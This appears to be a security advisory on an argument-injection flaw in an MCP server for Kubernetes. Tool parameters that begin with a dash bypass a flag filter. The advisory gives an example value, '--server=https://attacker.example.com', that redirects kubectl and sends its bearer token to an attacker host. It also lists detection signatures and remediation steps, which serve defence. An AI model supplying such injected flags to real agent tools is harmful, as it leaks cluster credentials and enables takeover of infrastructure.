MCP Server Kubernetes Argument Injection via Dangerous Flag Filter Bypass

Technical Analysis

The MCP server exposes structured tools (kubectl_get, kubectl_describe, kubectl_delete) that accept resourceType and name parameters, which are concatenated into a kubectl command line. The assertNoDangerousFlags check only inspects for known dangerous flags in expected positions, but fails to account for parameter values beginning with a dash, allowing an attacker-supplied value to be interpreted by kubectl as a new flag (e.g., --server=https://attacker.example.com) rather than a resource identifier. Because kubectl attaches the bearer token used for authentication to whatever API server it targets, redirecting the --server flag causes the credential to be exfiltrated to the attacker's endpoint. This crosses the boundary from an LLM-driven tool call (agent/tool layer) into direct, unsandboxed OS-level command execution against cluster infrastructure, and a single malicious tool invocation can result in full compromise of the underlying Kubernetes cluster.

Affected Systems

MCP Server Kubernetes; protocols: MCP

Detection Signatures

• kubectl invocations where resourceType or name parameters begin with a leading dash (e.g., '-', '--')
• Outbound kubectl/API traffic to non-standard or unexpected API server endpoints
• Bearer token or Authorization header present in requests to unfamiliar external hosts
• MCP tool call logs showing kubectl_get/kubectl_describe/kubectl_delete arguments containing '--server', '--token', or '--kubeconfig' substrings
• Unexpected outbound DNS/HTTP requests originating from the MCP server process immediately following a kubectl_* tool invocation

Remediation Steps

1. 1

   Upgrade MCP Server Kubernetes

   Update to version 3.9.0 or later where the argument injection and flag-filter bypass are patched.

2. 2

   Strict input validation

   Reject or sanitize any resourceType/name parameter values that begin with a dash before constructing kubectl command lines; use allow-lists for valid resource name formats.

3. 3

   Use argument arrays, not string concatenation

   Invoke kubectl via an execve-style API with a fixed argument array (not shell/string concatenation) so user input can never be reinterpreted as a flag.

4. 4

   Restrict operator token scope

   Apply least-privilege RBAC to the bearer token used by the MCP server so a leaked token has minimal blast radius.

5. 5

   Egress filtering

   Restrict outbound network access from the MCP server host to only the legitimate Kubernetes API server endpoint, blocking connections to arbitrary external hosts.

6. 6

   Audit tool call logs

   Review historical MCP tool invocation logs for suspicious parameter values containing leading dashes or embedded flags.